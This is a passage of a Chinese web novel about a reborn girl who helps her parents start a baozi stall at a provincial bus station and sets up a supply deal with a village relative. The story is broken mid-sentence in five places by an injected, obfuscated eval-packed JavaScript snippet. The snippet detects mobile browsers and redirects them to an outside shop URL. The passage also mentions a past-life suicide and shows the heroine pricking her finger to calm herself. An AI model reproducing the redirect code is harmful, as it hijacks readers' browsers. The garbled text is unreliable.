从苏家到客运站，步行差不多要二十五分钟。现在天气已经热起来了，食物不容易凉，所以支着包子屉的炉子不需要太大火，熬汤的锅也只要保证它一直开着就成。 5. 第五章 一路不停歇，等他们到了客运站也差不多下午一点半了，这个时间其实已经有点晚了。 可这也没办法！ 因为现在都是用老面引子发面，发面的时间相对较长，所以想吃馒头包子之类的面食，就必须要提前准备。 就这次，他们能赶在两点前过来，还多亏了李翠英今天本来打算给她蒸点糖三角吃，这才赶巧先发好了一部分面。 到了客运站门口，所幸尽管是这不早不晚的时间，但因为凤城是省城，所以由此发车或回程的客车很多，客流量还是不小的。 其实客运站的位置接近市中心，前后左右的街道都堪称热闹，不说坐车的人，就是来往的行人也不少。 眼下，客运站大门东边就是一家国营饭店，这饭店规模不小，不过这个时间通常店门紧闭，不到饭点是不会打开的。 大门紧邻的西边是一家副食店，店门口还支了一个卖香烟和冰棍的小摊。 从副食店往马路的方向大约三四米远的一棵大树下，还有一份卖杏子、草帽等农副产品的摊子。 此外，就是西边距离客运站十多米的一间报刊亭。 这么开阔的地方，也就只有这么一两份卖东西的摊子，他们连位置都不用费心挑了。 看了一圈，一家三口最后把三轮车推到了卖杏子的小摊旁边。 卖杏子的摊主是个戴草帽的年轻人，看到苏丽珍一家推着车过来，只是抬头看了眼，就又飞快把目光收回去了。 加上对方把帽子压得很低，苏丽珍都没来得及看清他的脸，但瞧对方那瘦削的身板儿估摸年岁不大。 他们刚把车子支好，李翠英还没顾上问一句苏卫华的身体，就见一伙人三三两两从客运站里出来，其中有不少人背着行李，应该是正赶上有车到站了。 没想到这伙人一出来就吵嚷开了！ “哎，这什么味儿啊？这么香！” “好像谁家熬骨头汤了！” “这也太馋人了！我这坐了大半天车，肚子正饿呢！” “哎，你们看，是不是那边那个小摊啊！” 看着这么一大群儿人七嘴八舌地走过来，苏卫华和李翠英两口子当时就懵了！ 虽然来的路上两人自觉已经在心里做好了准备，可事到临头，当真站在这个位置的时候，他们才发觉这件事竟远比他们想的要难。 他们不知道该开口说些什么，更想不出来该怎么招呼这些路过的乘客，只能乍着手、张着嘴，木愣愣地杵在那里。 而父母脸上的茫然无措落在苏丽珍眼中，也叫她一阵心疼！可她也知道这是爸爸妈妈必经的一步，任她也帮不上忙，所以只能狠心地装作没发现，努力把注意力都放到眼前这群乘客身上。 在她看来，刚到就能赶上这么一拨儿人实在是运气不错，所以当即主动迎上前，扬着笑容对众人热情道：“各位叔叔、阿姨，坐车辛苦了！有想买包子垫垫的吗？” “我们这儿有肉包子、素包子，好吃不贵，个大实惠，大家买点尝尝吧！”说罢，就将蒸笼盖子掀开一半，露出里面一个个白白胖胖的大包子。 圆胖、褶又多的大包子，再加上旁边香得连锅盖都压不住的大骨汤，果真就吸引住了不少人。 当即就有人开口：“哎，小姑娘，你们这包子包得不错啊！这都什么馅啊？” 苏丽珍：“肉包子就是猪肉大葱馅的，跟国营饭店一个价，一毛八一个；素包子是包菜粉条馅，一个只要一毛钱。两种包子全都不要票。” 这价格是一家三口来时路上定下的，完全是参考了市内国营饭店的标准。 旁边一个拎着提包的四十多岁的女同志立马道：“全素的一毛？我记得国营饭店半荤半素的是一毛三一个。” 苏丽珍迅速瞥了眼对方身上那件堪称时髦的白底小碎花的确良衬衫，笑容不变：“阿姨说的对！但是您看，我们这的肉包子跟国营饭店的一样大，但这全素的比肉包子还要大上一圈，一个还便宜了三分钱！” “像阿姨您这样身材苗条的，要是饭量小，基本一个素包子就能吃饱，划算得很！” 苏丽珍侧面的恭维显然让女同志十分受用，她忍不住笑了起来：“小姑娘嘴巴可真甜！行吧，看你们包子包的确实不错，就给我一样来一个吧！” 眼瞅着这第一单生意就来了，苏丽珍心中振奋，面上笑容越发好看，“好的，阿姨，您带饭盒了吗？我这就给您装！” 这会儿还没有餐盒、包装袋之类的东西，大伙儿出门一般都会自带饭盒、水杯，相对麻烦了一些。 果然，那女同志立马应了一声，“带了！” 苏丽珍接过对方的饭盒，从篮子里取出自带的长筷子，利索地将蒸屉里的肉包子和素包子各捡了一个装好。 那女同志看了眼苏丽珍夹包子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16746375|189919||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的长筷子，又看了看车把手上挂着的、蒙了干净纱布的簇新篮子，不由满意地点了点头，痛快地掏出三毛钱递给苏丽珍。 苏丽珍正准备接过钱，却一眼瞥到还有些茫然无措的父母，想了想，还是让那位女同志把钱递给了一旁的李翠英。 “妈，收钱吧！” 闺女的这一声轻唤终于让李翠英醒过神来，她看着身边忙着应酬客人的女儿，心里暗骂自己没用，这种时候居然还要女儿打头阵！ 不着痕迹地深吸了一口气，李翠英也学着闺女的样子，露出笑脸冲那女同志道：“同志，稍等啊！找你两分钱。” 苏丽珍一边把装了包子的饭盒递给那女同志，一边又道：“阿姨，我们这儿买包子还额外送一份大骨汤！您带东西了吗？我给您打一份！”说着就掀开了汤锅盖子。 锅里的骨汤经过长时间的熬煮，汤色已经开始泛白，而且因为佐料用得足，骨汤的香味十分浓郁。 之前还盖着盖子的时候，香味丝丝缕缕地飘出来，就勾得人走不动道，如今锅盖一掀，更是馋得大伙儿齐齐咽了口口水。 女同志自然十分高兴，“哎呦，还有这好事呢！正好我带了缸子！小姑娘，你们这摊子也太讲究了！” 苏丽珍往对方带来的搪瓷缸里打了一大勺汤递回去，全程都十分礼貌，“阿姨客气了！欢迎您下次再来！” 而一见大骨汤真的白送，旁边围观的不少人立马也站不住了。 “哎，小姑娘，给我也来两个包子，也要一荤一素！” “我要两个肉的！” 大伙儿七嘴八舌喊起了包子，苏丽珍动作迅速地又卖出了几份。 有坐了一天车早已饥肠辘辘的人几乎是一拿到包子，就当场吃了起来，不过只是一口，他们就被这满嘴的肉香给惊艳住了！ “哎妈呀，这包子可太香了！” “这肉也挺多！真实惠啊！” “太好吃了！你说人家这素馅的咋比我家肉馅的都好吃呢？” 也有人喝了一口大骨汤，立马忍不住咂嘴，“好喝，这个味儿可不比城东国营食堂的牛肉汤差！” 有了这些“活招牌”，摊子越发热闹起来，几乎一眨眼四周就围上来不少人！ “我要两个素包子！” “小姑娘，还是我，再给我一样来一个！” “我跟他一样！小妹妹，给你饭盒！” 6. 第六章 苏卫华在旁边眼瞅着媳妇和闺女忙得不可开交，他也想上前帮忙！ 可他这张嘴啊，紧要关头就像被胶水糊住了一样，半天吐不出一个字来！也不知道自己能干啥，顿时急得脑瓜门子直冒汗！ 还是苏丽珍一眼就瞧出他的窘境，当即喊道：“妈，你来打汤，让我爸负责收钱找钱！” 还真别说，闺女这声喊就像按下了苏卫华身上看不见的按钮，他仿佛一下就有了主心骨，这心不慌了，嘴也不瓢了！ 虽然刚开始收钱的时候还有些笨拙，可等连续为几个顾客收钱、找钱后，他也开始能适应这个节奏了。 就这样，苏丽珍卖包子，李翠英打汤，苏卫华收钱。一家三口配合默契，半个多小时，这一大锅的包子就卖出了大半！ 特别是后面有一些附近的居民路过这里，看到这边围了不少人，有好信的过来打听，听说这里卖的包子不但好吃、个大，还白送大骨汤，有人立时觉得划算，当场就跑回家取碗盆去了。 等又一拨儿从客运站出来的乘客过来，他们这次带来的一百一十五个包子就全都卖光了！ 再看看时间，才刚到下午三点钟！ 这个“开门红”让一家人都兴奋不已！尤其看着苏卫华手里那一大把黄黄绿绿的钞票，尽管都是些一毛几分的零散小票，可架不住整体的厚度喜人！ 眼下一家三口都归心似箭，简单收拾了一下就准备回家。 不过苏丽珍抬头看了眼天空中仍然火热的大太阳，看到旁边卖杏子的小摊上那一摞草帽，想着今后天气肯定一天比一天热，家里也没有遮阳的凉帽，就打算给自己和父母都买一顶，以后出摊戴着。 “小哥，麻烦你，这草帽怎么卖？” 等对方闻声抬起头，苏丽珍这才看清那张掩在草帽下的脸，不由有些惊讶！ 这竟然是个女孩子！ 尽管面前这张脸蜡黄、消瘦，可同为女孩，她是无论如何也不会认错的！ 更遑论对方的五官还生得十分好看。 之前因为他们的包子卖得好，吸引来了不少人，连带也有人光顾了旁边这个卖杏子、草帽的小摊。 那会儿苏丽珍自己也忙得焦头烂额，根本顾不上多看，再加上她依稀听见对方的声音有些低沉，就更加没想到对方不是男孩了。 这不就闹了误会？ 她飞快扫了眼对方身上那过分肥大且摞满补丁的灰布褂子，下意识歉意道：“对不住，我看错了……” 没想到对方直接朝她咧嘴一笑，露出满口的白牙，浑不在意道：“没事！我都习惯了！” 她的声音还是比寻常女孩子粗了几分，但也不会特别夸张，注意听的话根本不会认错。 “你要买草帽是吧！五分钱一个，你随便挑！” 女孩说完就把那一摞草帽都塞到苏丽珍手上，任她挑选。 对方的热情直爽让苏丽珍很有好感，不过这些草帽一上手，她就发现这些编织品的做工十分精致，不由有些惊讶，“只要五分钱，这么便宜？” 不怪苏丽珍迟疑，她的想法多少还带了些上辈子在米国的习惯，下意识认定技艺高超的手工品价值不菲。 虽然知道眼下国内这类商品价格不会太高，却也绝对没想到会有这么低。 那女孩看到苏丽珍眼中的赞叹和吃惊，脸上的笑容倒是越发真挚了几分。 “小妹妹你是城里人不懂，这种稻草编的帽子不值钱，在我们乡下会编这玩意儿的一抓一大把！” 说着，瞥了眼听到她们谈话也好奇凑过来的苏卫华两口子，女孩又道：“你是想给你爸妈也买吧？今天我沾了你们不少光，连带也卖出去挺多杏子！” “喏，这些你随便挑三个，给我一毛钱就成，算我谢谢你们让我沾光！” 苏丽珍看出对方家境不大好，自然不想占这个便宜，就是平时精打细算惯了的李翠英也有些不落忍，毕竟对方看着也没比自家闺女大多少，也还是个孩子呢！ 岂料那女孩十分坚持，最后还是只收了他们一毛钱。 苏丽珍看了眼对方干燥得裂了几道血口子的嘴唇，心念一动，回到摊子前取出一只干净的瓷碗，把锅里剩下的最后一点汤都盛了出来，端给了女孩。 “既然你把草帽便宜卖我，那我就请你喝碗汤吧！” 女孩看着碗里还飘着香气的大骨汤，嘴唇动了动，目光又下意识看向苏丽珍身后的苏卫华两口子。 李翠英便笑呵呵地冲她道：“喝吧，孩子！本来就是不要钱的，你别嫌乎就好！” 苏卫华也连连点头示意女孩快把碗接过去。 女孩眼中飞快闪过什么，接着便朝一家三口露出了一个大大的笑容，“不嫌、不嫌，是我沾了大便宜！谢谢姨、谢谢叔，谢谢小妹妹！” 说罢双手接 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16746376|189919||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过苏丽珍递过来的汤碗，十分珍惜地小口小口喝了起来。 这样子看得苏卫华和李翠英两口子心里有些发酸。 家家有本难念的经啊！ 等女孩喝完了汤，还碗时还特意往空碗里装了一捧杏子。 担心苏家人不肯要，女孩还不停强调，“小妹妹，姨、叔，我这杏子是山上采的，一点不值钱，你们就拿回去尝尝吧！” 说实话，苏卫华两口子是真不想白要，可是看着女孩那双真诚的大眼睛，这想要给钱的话就有些说不出口。 最后还是苏丽珍大大方方接了过来，微笑着道了谢。 上辈子在米国流浪的时候，做过洗碗工、拾荒者、乞丐的她深知，在生活面前，自尊有时是多么无用、有时又是多么重要。 “是个好孩子啊！”回去的路上，戴上草帽的夫妻俩还长吁短叹了一阵。 “以后咱们要是常来，有条件也多帮衬人一把吧，看着没比咱珍珍大多少呢！” 看着这样的爸爸妈妈，苏丽珍心里也软软的。尽管生活不易，可是这些困难从来不曾消磨掉他们内心的善良。 与来时的紧张忐忑不同，回程时一家人的心里都十分雀跃，就连脚下的步子都不由自主加快了许多。 等到了家，甚至还来不及把车上的东西归置好，苏卫华就迫不及待进屋把今天卖包子的钱一股脑掏出来，两口子一张一张细细数了起来。 一毛、两毛，一块、两块……最后竟然有十五块九毛整！ 也就是说，今天他们一百一十五个包子，总共卖了十五块九毛钱！ 再算成本： 包菜、大葱一毛六分钱； 粉条是去年机械厂集体给职工们采购的秋菜之一，价格要低于市价，一斤才三毛五。这次总共用了两斤，正好七毛钱； 猪肉四块五毛钱； 油盐佐料大概要八毛钱。 虽然各种佐料价格不低，但是这些东西买一回能用好几次，平均下来也不算太贵，这一项里主要还是油的费用高。 他们的素馅包子好吃，油放得多也是一方面。而大豆油如今凭票就七毛九一斤，去自由农贸市场买的话价格要八毛五到九毛，跟肉价也差不多了。 这样算下来，今天的包子成本大致是六块一毛六。 也就是说，刨去成本，他们今天总共挣了九块七毛四分钱，快接近十块了！ 7. 第七章 听完闺女算的账，再瞅瞅桌子上那一沓的钱票子，苏卫华和李翠英好半天都缓不过神来！ “我的天啊……我真不敢相信，就这么会工夫，咱就挣了这么多钱！”李翠英喃喃道。 “是啊，想不到这摆摊还真能挣到钱……”苏卫华高兴之余，心里还有那么一点复杂。 他没想到就今天小半天的时间，他们就挣到了自己以往五六天的工资，说没受到多少冲击那完全就是假的！ 不过想到眼下能挣到钱，缓解家里的经济压力，让闺女安安心心上学，这就比啥都强！ 夫妻俩着实激动了一阵子，不过等看到一旁正往小本上一笔一笔记录今天收入、支出的闺女时，两人这才慢慢冷静下来。 想起今天摆摊时，他们俩笨嘴拙舌、话都说不出来的样子，不禁有些羞愧。 李翠英有些不好意思道：“珍珍啊，今天多亏了你！我跟你爸实在是没用，差点拖了你的后腿！” 苏丽珍一听，赶忙放下笔，起身走到李翠英身旁，抱住她的手臂，又看了看苏卫华，说道：“妈、爸，你们别胡思乱想！哪有什么拖后腿，只不过是刚开始你们俩还不熟悉而已，毕竟万事开头难嘛！” “你们别看我今天表现的还不错，其实是有缘故的！” 见原本沮丧的父母都被自己的话吸引了注意力，她才煞有其事道：“你们不知道，我们班上有个同学，他妈妈就在国营副食店卖菜，听说还是‘三八红旗手’呢！” “他平时在班级里最喜欢模仿他妈卖菜的样子，学得有鼻子有眼儿的，常常把我们逗得哄堂大笑！我今天那些话也全都是学着他的样子来的！” 夫妻俩听完一脸恍然，难怪闺女今天卖包子时像模像样的，原来这里边还有这么个巧合。 苏丽珍见父母似乎相信了自己的说辞，悄悄松了口气，总算这个破绽也算圆了过去。 而为了转移父母的注意力，不让他们继续纠结今天的表现，苏丽珍马上又说起明天包子摊要做的各项准备。 已经被摆摊带来的利润彻底震住的苏卫华两口子，一听这个话题，果然又把心思重新放到了包子上。 关于今后每天要准备多少包子卖；还应该增加几种馅料；闺女带回来的那几个料方子里用哪个合适……这可都得好好商量商量！ 总之因为心情太过振奋，一家人不知不觉竟说到了傍晚时分！ 明明从中午到现在，他们三口人一共才吃了两个包子，可是他们居然一点没觉着饿！ 不过今天对于苏家人来说是个特殊日子，值得庆祝！所以尽管家里没啥好菜，但是李翠英还是费心思做了四个菜：炒鸡蛋、花生米、凉拌萝卜干、肉沫炖粉条。 主食是就着炖粉条的锅边贴的苞米面饼子。 因为苏卫华不能喝酒，苏丽珍就特地泡了一壶茉莉花茶。 一家人以茶代酒，先满满地碰了一杯，然后就着这一桌简单的饭菜，每个人都吃得格外香甜。 当晚一夜好眠。 第二天清晨五点，李翠英就起床发面。 苏慧兰在自己的小屋里听见动静，也跟着起来给妈妈打下手。 等简单吃了点早饭，母女俩就推着三轮车出了门，直奔昨天苏丽珍去过的自由农贸市场采买。 因为今天来的比较早，母女俩赶上了早市，早市上的菜比平时还要便宜一点。 像包菜、胡萝卜、大葱之类的蔬菜放得住，她们就多屯了一些，而且这样大批量购买也可以跟卖家讲讲价。 等买好了蔬菜，又赶上几份卖粮食的，娘儿俩连着看了几家，总算凑足了一袋子白面，估摸着能有一百多斤了！ 面粉今后肯定要大量用的，苏丽珍其实很想找一个稳定的供货源。只可惜如今家庭联产承包责任制还没有正式推行，也不是每个农户手里都有大米白面这样的精细粮售卖。 就跟买肉一样，很多时候也是碰运气！ 不过显然，今天她们的运气足够好，不但买到了不少面粉，猪肉也买的很顺利。 卖肉的摊子上还是昨天那位大叔，他一眼认出了苏丽珍，再加上母女俩今天买的肉更多，所以今天也照例送了她们两根大骨棒。 其中有一根上面还带了点肉呢！ 从市场出来，她们又到日杂店买了一刀装包子用的油纸，预备给没带饭盒的顾客。 买齐了要用的东西，等母女俩推着一车的菜肉回到家， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16746377|189919||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时间刚好七点钟。 苏卫华早早就守在家附近的胡同口，帮她们一起把车推进院子后，立刻就回屋把一早准备好的凉白开端给娘儿俩喝。 李翠英和苏丽珍只休息了一小会儿就挽起袖子开始干活。 洗菜、剁馅、擀皮、包包子、熬汤，这一忙就是三个小时！ 今天的包子还是一荤一素，肉包子基本跟昨天一样；只素馅包子，李翠英又往包菜粉条馅里加了些胡萝卜，丰富口感。 而数量则是结合家里现有的所有蒸屉容量，总共做出了二百一十个大包子，比昨天多了将近一百个！ 最后，将蒸好的包子蒸笼装上车，等他们赶到客运站的时候，已经是上午十点半了！ 虽然来得比昨天早，但是苏卫华两口子却比昨天更紧张。 毕竟才开始卖，谁也说不准昨天有多少是因为赶巧运气好的缘故。 尤其是今天他们赶在了饭点前，客运站大门东边还有家不小的国营饭店，店里也有面点，两边的时间撞在一起，说不定会受些影响。 不过苏丽珍也不太担心，毕竟他们的包子个大味美，价格更没越过国营饭店，最关键的是完全不要票！ 再加上现在人还没意识到的服务意识，凭这些她就不怕包子会卖不出去！ 果然，事实证明她的想法没错！ 一拨儿、一拨儿旅客从客运站出来，因为临近饭点，不少人循着香味就会停下，顺便在他们摊子上买一、两个包子。 再加上有免费的大骨汤，吃着包子、喝着汤，这一顿就相当于有吃有喝了！ 尤其是如今这美食不算丰富的年月，这样的吃喝质量就不低了，称得上一句“好吃又实惠”！ 所以这摊子上的人几乎就没断过！ 即便身后的国营饭店十一点开始营业了，也没怎么影响到他们。 毕竟相比国营饭店那些收了钱、票却动不动就甩脸子的服务员，苏丽珍一家三口时时笑脸相迎，绝对热情又周到。 能花最少的钱吃饱喝足，味道又好，还不用去看别人的脸色，这包子摊上的客人可不就越来越多了嘛！ 中午十二点刚过，包子就再次卖光了，一个都没剩！ 8. 第八章（捉虫） 向买不到包子的客人道了歉，苏丽珍擦了擦头上的汗水，一转头就看见妈妈正端着一碗汤给坐在树下休息的爸爸递过去。 结果苏卫华却不肯喝，要让李翠英先喝一口，他才肯喝第二口。 看着父母脸上那掩不住的高兴，苏丽珍也不自觉笑了。 等两口子发现闺女站在那里看着他们俩傻笑，也忍不住跟着笑起来，“傻丫头，快过来，妈给你盛碗汤，累坏了吧！” 想着今天的包子多，他们今天特意换了个最大号的锅熬大骨汤。 这会儿包子卖掉了，汤还剩了不少。 苏丽珍回过神，刚要说自己来，余光就发现旁边卖杏子的女孩正一脸羡慕地看着他们一家三口。 她忙开口招呼道：“小麦，今天谢谢你帮忙，我盛碗汤给你喝！” 卖杏子、草帽的女孩叫林小麦，今天一看见他们过来就十分热情地把有树荫的位置让出了一半。 先前卖包子人最多的时候，也主动过来帮忙招呼客人，性格很是大方爽快。 苏丽珍话音刚落，那边李翠英就连拍自己脑门，“嗐，看我，应该先给小麦端一碗才是！” 又朝林小麦招手，“来，孩子，正好我们还带了二合面馒头，你也过来一起填填肚！” 因为不知道今天的包子会卖到什么时候，所以临出门前李翠英特地在蒸屉里多放了几个杂面馒头准备当午饭。 林小麦却不肯过来，直摆手道：“不行不行，这点小事算啥！其实我今天也一样沾了你们的光，我这一筐杏子这会儿都卖得差不多了，以往可从来没卖这么好过！” 苏家人劝了半天，她最后只是接过了苏丽珍手里的汤碗，到底还是没收李翠英的馒头。 对此，苏丽珍也能理解。 别看现在日子照比从前好过不少，可粮食还是精贵的。 通过昨天的一番接触，她也看出来这个女孩子是个有坚持的人，外表看上去大大咧咧，处事却十分有分寸，很容易让人产生好感。 说实话，摊子边有个这样的邻居，苏丽珍还是很高兴的！ 简单休息了一会儿，一家人告别林小麦，高高兴兴推车回家。 结果车子刚拐进胡同，老远就看见自家门口蹲了个熟悉的身影！ 苏丽珍推车的手当即轻颤了一下。 哪怕事隔多年，她还是一眼就认出了对方，“爸、妈，是大勇哥吧！” 苏卫华两口子看见来人，脸上的笑容却更盛了。 丁大勇是苏卫华在机械厂带的小徒弟，别看长得人高马大，可实际上他前年才进的厂，今年刚满十八岁。 苏卫华看他年纪小，家里又困难，所以一直对他十分照顾。 师徒俩关系处得好。自打苏卫华生病退休后，丁大勇差不多每个星期都要过来看望师父一回。 每次来都会主动帮苏卫华两口子干活，数年未曾间断过。 苏丽珍想起上辈子，在外人眼里，比起她这个自私的女儿，丁大勇这个徒弟才更像苏家的孩子。 她想起那年，她疯了一样非要去米国找那个人，父亲苦劝无果，对她失望至极，一气之下不久就喝了农药。 等她闻讯赶到医院时，医生已经宣告了父亲医治无效。 在医院那灰突突的走廊里，当时他看着她的眼神，悲愤、痛恨、憎恶，就像一把把的尖刀子，能直接扎到她的灵魂里。 此刻的苏丽珍面色有些发白，一只手下意识伸进衣兜里，那里有一枚别针。 食指和拇指稍微用力，打开别针，将指头对着锋利的针尖按了一下，尖锐的刺痛立时让她镇定了不少。 这样的疼痛能让她清醒地意识到，她已经重生了，她不再是上辈子那个混账的苏丽珍！ 另一边，丁大勇也老远就看见苏家人推着这一车锅碗盆桶回来，立马就大步迎了过来。 “师父、师娘，你们这是干啥去了？咋装这么多东西啊？” 苏卫华两口子听他问起这个，原本有点不大自在，不过想起闺女说过，摆摊也是凭自己劳动挣钱，没啥大不了的，索性直接告诉对方自己这半天是摆摊去了。 丁大勇听说师父一家出去摆摊卖包子，先愣了一瞬，很快反应过来，就连连点头，“这倒是个好主意，我师娘手艺那么好，大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16746378|189919||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 伙儿一准喜欢，肯定错不了！” 苏卫华夫妻看他这话说得发自肺腑，并没有流露出丝毫的反感，心里更是高兴。 毕竟丁大勇不是别人，如果他也觉着有这样出去当小贩的师父丢人的话，两口子虽然多少能理解，可必定也会伤心。 三人说得热络，这时李翠英发现闺女一直没出声，回头一看，才发现这孩子小脸煞白，立时吓了一跳。 “珍珍，你这是咋了？是哪里不得劲吗？” 苏卫华和丁大勇闻声也注意到苏丽珍脸色不好，丁大勇不由道：“哎呀，师妹这是不是中暑了？” 苏丽珍刚刚稳住心绪，见眼前的三人面露担心，连忙摇头道：“爸、妈，我没事！咱们这一路都有阴凉，我没怎么晒到。” 两口子再三确认她没事，这才松了口气，转头又招呼丁大勇进屋。 “师父、师娘，今早我表舅给我们家送来了不少菜，我们家吃不了，就给你们拿来点。” 丁大勇背了个大背筐过来，里头好几种蔬菜，有韭菜、芹菜、西红柿、辣椒，最底下还有不少新鲜的豌豆。 “哎呀，大勇，你这拿的也太多了！是不是把你们家都搬空了！” 李翠英看着这满满登登的大背筐，忍不住嗔道。 丁大勇憨厚地挠了挠后脑勺，笑呵呵道：“师娘，看您说的！是我表舅家送过来的，他们家自留地里的菜现在都下来了，多得吃不完！” 正给丁大勇倒水的苏丽珍听了，心头微动。 她记得大勇哥表舅家所在的大队距离凤城有二十七、八里路，算是在周边几个公社里离得最远的大队之一了！ 那边地多人少，土质又好，光是家家自留地里产出的东西就不少。 只可惜他们大队到市里来回一趟就有五十多里，社员想把自家吃不了的粮食和蔬菜卖到城里可不怎么轻松。在这一点上，相比其他离省城只有几里路的大队来说，实在很吃亏。 再加上许多人一辈子连公社都没去过几回，让他们自己进城卖东西绝对是打怵！ 不过，苏丽珍却觉得眼下这对他们家来说是一个好机会！ 9. 第九章 她可以在那边大队找一个可靠的人，让那人出面收购队里其他社员家里吃不了的面粉、肉蛋和蔬菜，然后给他们送来！ 不管对方在当地的收购价是多少，她能保证自己这边的价格绝对不会低于市价！这样，对方就相当于一个中间商的角色，不需要多少本钱，纯粹是靠跑腿。 而对他们家来说，因为不需要每天推着三轮车从农贸市场往返，既可以节省一部分时间，也能减轻爸妈的负担。 而眼下那位大勇哥家的表舅就是个挺合适的人选。 她记得爸妈以前提起过，丁家这位表舅为人很好，在大勇哥家日子还不错的时候，从没想着占过他们家便宜，反而是后来丁家接二连三出事，家境艰难的时候多次伸手帮衬。 跟这样的人合作肯定更有保障！ 心里有了主意，苏丽珍立时接话道：“大勇哥，你表舅那边现在日子怎么样？” 丁大勇没想到这个素来十分内向的小师妹今天会主动跟自己说话，稍微惊讶了一下，很快笑着回道：“咱们这儿地多，其实我表舅他们一直也没怎么饿着过肚子，就是一年到头看不见活钱。” “好在现在政策宽松了不少，他们也能多养几只鸡鸭、猪崽子，这手头好歹存下一点，不至于像头几年连盒火柴都要算计着买！” 苏丽珍点了点头，马上又跟苏卫华两口子商量：“爸、妈，咱们家的摊子以后肯定要用不少东西，我看咱们不如让大勇哥的表舅帮忙在他们屯子里收购大伙儿家里吃不完的面粉、蔬菜之类。” “回头咱再按市价直接在大勇哥表舅那里购买，这样咱们有了稳定的供货源，就不用担心哪天面粉会断货了！” 苏卫华两口子听完都觉得这主意好，虽然现在不缺粮食，可细粮还是紧俏货！ 他们家以后每天至少要用二十多斤的面粉，光靠在农贸市场那里碰运气确实不够稳妥。 而且他们俩都知道丁大勇家里的情况，也常听他提起这位忠厚的表舅是个可靠人，有这么个中间人供货，他们也放心不少！ 两口子越想、越觉得这是个好主意，赶忙转头征求丁大勇的意见，“大勇，你觉得珍珍这主意咋样？你表舅能答应吗？” 怎么不能？简直太能了！ 丁大勇这会儿特别高兴，其实之前小师妹刚说起这事的时候，他就想一口答应下来，不过怕师父师娘为难，所以才没敢直接应下！ 现在表舅在乡下，虽然不缺粮吃，可手头没钱，表弟表妹们上不起学，生病了更是连医院都不敢去！ 早先自由市场刚兴起那会儿，表舅也曾硬着头皮把家里的粮食背出来卖，可道远难走不说，遇上近郊那些大队的人，还总会吃闷亏。 那些人仗着距离便利在市场里互相拉帮结伙占地盘、打价格战，逼得表舅半天卖不出二斤粮，所以表舅不得已也歇了这份心思。 打从兄姐和父亲相继过世后，除了他妈，师父和表舅就是对他最好的两位长辈，他比谁都希望两人能过得好！ 而依照小师妹这个主意，既能给师父带来便利，表舅也能挣到钱，一下子让他最看重的两位长辈都得了实惠，他自然比谁都高兴！ “师父、师娘，小师妹这个主意好！你们也不用问我表舅了，这事我就能做主，他肯定答应！” 看丁大勇这样的反应，苏卫华两口子也放心不少。 合作讲究个你情我愿，越是熟人越得注意人家的真心想法，要不然迟早变成仇。 四人又简单商量了一会儿，丁大勇呆不住，说话就要回厂子里借自行车，说等下午下班后就去找他表舅。 两口子看离机械厂上班时间没差多久，就没留他，把人送到门口叮嘱一句“注意安全”，笑呵呵看着他大步往厂子里跑去了。 等回头就发现闺女已经埋头开始收拾三轮车上的锅碗瓢盆，两口子不由相视一笑。 李翠英美滋滋地小声道：“卫华，我发现咱闺女现在越来越懂事了，而且还贼聪明！” 苏卫华心情好，也乐得配合她，“对对，像你！” “那可不！”李翠英立马骄傲地扬起了脸。 谁知道苏卫华紧接着就补了一句：“是模样像你，其实脑子随我！” “你个滑头！”李翠英抬手就轻捶了他一记，“还消遣起我来了！” 苏卫华刚想张口反驳，就听那边苏丽珍喊他们：“爸、妈，大勇哥拿来的西红柿可甜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 